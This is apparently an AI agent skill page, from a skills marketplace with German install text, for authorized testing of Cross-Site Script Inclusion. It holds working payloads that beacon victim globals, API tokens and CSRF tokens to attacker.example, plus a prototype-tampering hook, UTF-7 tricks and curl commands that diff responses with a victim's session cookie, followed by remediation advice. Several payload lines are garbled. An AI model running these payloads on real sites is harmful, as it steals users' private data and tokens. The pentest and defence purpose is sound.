Identifying and exploiting Cross-Site Script Inclusion (XSSI), where the script tag's exemption from the Same-Origin Policy lets an attacker include a victim endpoint cross-origin (with the victim's ambient cookies) and read sensitive data from static scripts, dynamic JS, JSONP responses, or non-JS files (CSV) included as scripts. Activates when assessing endpoints that return JS/JSONP or data reachable via a script tag.
Standardmäßig ist der Prompt ausgewählt, der zuerst die Quelle prüft. Sie können zu einem direkten Befehl wechseln oder eine lokale Kopie herunterladen.
Quelldateien prüfen
Lesen Sie SKILL.md und alle von SkillsMP angezeigten Begleitdateien, bevor Sie sich für eine Installation entscheiden.
Mit Codex oder Claude installieren Kopieren Sie diesen Prompt, fügen Sie ihn in Codex, Claude oder einen anderen Assistant ein und lassen Sie die Skill-Seite prüfen und installieren.
Ein direkter Befehl überspringt den Prüf-Prompt. Prüfen Sie die Quelle, bevor Sie ihn ausführen.
Identifying and exploiting Cross-Site Script Inclusion (XSSI), where the script tag's exemption from the Same-Origin Policy lets an attacker include a victim endpoint cross-origin (with the victim's ambient cookies) and read sensitive data from static scripts, dynamic JS, JSONP responses, or non-JS files (CSV) included as scripts. Activates when assessing endpoints that return JS/JSONP or data reachable via a script tag.
During authorized assessments of endpoints that return JavaScript, JSONP, or data consumable via a <script> tag
When an authenticated endpoint embeds user-specific data into a JS file or global variable
When the application exposes a JSONP callback parameter (?callback=, ?jsonp=)
When sensitive data (CSV, JSON) is served with a permissive Content-Type and no anti-inclusion guard
When evaluating whether endpoints rely on cookies (ambient authority) and lack CSRF-style tokens or CORB/CORP
Prerequisites
Authorization: Engagement scope covering cross-origin data disclosure with a logged-in victim test account
Attacker-controlled origin: A page you host to include the victim script and capture leaked data
Burp Suite + DetectDynamicJS: To diff responses with/without cookies and find dynamic (state-dependent) JS
Modern + legacy browser matrix: Some variants (UTF-7) only work in specific/older browsers
OOB collector: An endpoint to receive exfiltrated values
Critical: Variants Most Often Missed
XSSI is more than "leak a global variable". The four categories below each have
distinct exploitation paths.
# 1. Regular / static JS with secrets in globals
# Include the script, then read the global it defines.
# 2. Dynamic JS (secret added based on the user's session)
# Detect by diffing the response WITH vs WITHOUT cookies (DetectDynamicJS).
# 3. JSONP callback hijack
# Define the callback function (or object path) yourself before including.
# 4. Non-JS files included as scripts (CSV/JSON), UTF-7 charset escape.
Static-global leak:
<scriptsrc="https://victim.example/script.js"></script><script>// The included script defined confidential_keys in the global scope
navigator.sendBeacon("//attacker.example/leak", JSON.stringify(confidential_keys[]));
0
</script>
JSONP callback hijack (define the callback path you control):
Prototype tampering for non-global secrets (override built-ins to capture data):
Array.prototype.slice = function () {
// leaks the array contents the victim script processes, e.g. ["secret1","secret2"]newImage().src = "//attacker.example/?d=" + encodeURIComponent(JSON.stringify(this));
};
Non-JS (CSV) inclusion and UTF-7 JSON escape:
<!-- CSV/JSON leaked by being parsed as script in some engines --><scriptsrc="https://victim.example/export.csv"></script><!-- UTF-7 charset forces JSON to be interpreted as script in certain browsers --><scriptsrc="https://victim.example/json-utf7.json"charset="UTF-7"></script>
How to CONFIRM a hit (avoid false negatives)
Static/global: after the cross-origin <script> loads, the global variable/object it defines is readable from your page (typeof confidential_keys !== 'undefined') and contains real victim data. Confirm by beaconing the value.
Dynamic JS: the response BODY differs when the request carries the victim's cookies vs when it does not (DetectDynamicJS). The cookie-bearing version contains the secret — this is the exploitable case.
JSONP: your defined callback fires with the victim's data as its argument. Confirm by logging/beaconing the argument and seeing account-scoped content.
Non-JS / UTF-7: the parser raises a usable error/executes attacker JS, or the data becomes reachable; confirm in the specific browser where it works.
Always run the exploit in a logged-in victim browser session and verify the leaked data is genuinely private (belongs to the victim, not the attacker).
Workflow
Step 1: Find Script/JSONP/Data Endpoints
# Look for .js endpoints, JSONP callbacks, and data exports
grep -rEi "callback=|jsonp=|\.js(\?|$)|export\.csv|/api/.*\.json" proxy-history.txt
Note which endpoints require authentication and which echo a callback parameter.
Step 2: Detect Dynamic (State-Dependent) JS
# Compare the response with and without the session cookie
curl -s https://victim.example/profile.js > anon.js
curl -s -H "Cookie: session=<victim>" https://victim.example/profile.js > auth.js
diff anon.js auth.js # differences => dynamic XSSI candidate
Or use the Burp DetectDynamicJS extension to flag responses that vary by auth state.
Step 3: Leak Static / Dynamic Globals
Include the script cross-origin and read the globals it defines:
<scriptsrc="https://victim.example/profile.js"></script><script>for (const k of ["confidential_keys","userProfile","csrfToken"])
if (window[k]) newImage().src="//attacker.example/?"+k+"="+encodeURIComponent(JSON.stringify(window[k]));
</script>
Step 4: Hijack JSONP Callbacks
Define the exact callback name/path the endpoint expects, then include it (see payloads above). Capture the leaked argument to your OOB collector.
Step 5: Prototype Tampering for Non-Global Data
Override commonly used built-ins (Array.prototype.slice, etc.) before including the script so the victim script's internal data flows into your hook.
Step 6: Non-JS / Charset Tricks
Try including CSV/JSON as a script, and test the UTF-7 charset trick in older/specific browsers to escape JSON structure and capture data.
Key Concepts
Concept
Description
SOP Exemption for Scripts
<script src> can load cross-origin, unlike fetch/XHR — the root of XSSI
Ambient Authority
Cross-origin script requests automatically include the victim's cookies
Regular XSSI
Secrets in a static JS file readable after inclusion via globals
Dynamic XSSI
Secrets injected based on the user's session; detected by cookie-diffing responses
JSONP Hijack
Defining the callback function/object path to capture the JSONP payload
Prototype Tampering
Overriding built-ins (e.g., Array.prototype.slice) to read non-global data
Non-JS Inclusion
CSV/JSON leaked by being parsed as a script; UTF-7 charset escapes JSON
Tools & Systems
Tool
Purpose
Burp Suite + DetectDynamicJS
Diff JS responses by auth state to find dynamic XSSI
Attacker-hosted page + OOB collector
Include victim scripts and capture leaked data
CyberChef
Decode/inspect leaked structures and test charset transformations
grep / ripgrep
Discover JSONP callbacks and script/data endpoints in proxy history
Browser matrix (modern + legacy)
Validate charset/UTF-7 variants that depend on the engine
Common Scenarios
Scenario 1: Dynamic JS Leaks User Profile
/account/config.js embeds the logged-in user's email and an API token as global variables when requested with cookies. An attacker page includes it cross-origin and reads window.userConfig, exfiltrating the victim's token.
Scenario 2: JSONP Callback Hijack
A search API exposes ?callback= returning private results wrapped in the callback. The attacker defines a function named after the expected callback and includes the endpoint, capturing the victim's private search data.
Scenario 3: CSV Export Inclusion
/reports/export.csv is served with a script-friendly type and no anti-inclusion guard. Including it as a <script> (with a charset trick) lets the attacker read rows belonging to the victim.
Output Format
## XSSI Finding
**Vulnerability**: Cross-Site Script Inclusion (Dynamic JS / JSONP data leak)
**Severity**: High (CVSS 7.5)
**Location**: GET /account/config.js (credentialed, dynamic)
**OWASP Category**: A01:2021 - Broken Access Control (cross-origin data disclosure)
### Reproduction Steps
1. Diff /account/config.js with vs without session cookie -> body differs (dynamic)
2. Host attacker page including <script src="https://victim.example/account/config.js">
3. Read global window.userConfig defined by the script
4. Beacon the value to attacker collector; confirmed victim email + API token leaked
### Evidence
| Check | Result |
|-------|--------|
| Cookie-diff | response body differs by auth state |
| Leaked global | userConfig = { email, apiToken } |
| Victim-scoped | matches victim account, not attacker |
### Impact
Any site the victim visits can read the victim's private profile data and API
token cross-origin, enabling account compromise.
### Recommendation
1. Do not embed sensitive data in JS/JSONP responses; return data via JSON over fetch with CORS, not script inclusion
2. Require a non-cookie token (anti-CSRF) for sensitive data endpoints
3. Prefix JSON with an infinite loop / `)]}'` and parse server-trusted; reject script-tag inclusion
4. Send `X-Content-Type-Options: nosniff` and correct `Content-Type`; deploy CORB/CORP
5. Remove or authenticate JSONP callbacks; avoid serving CSV/data with script-executable types
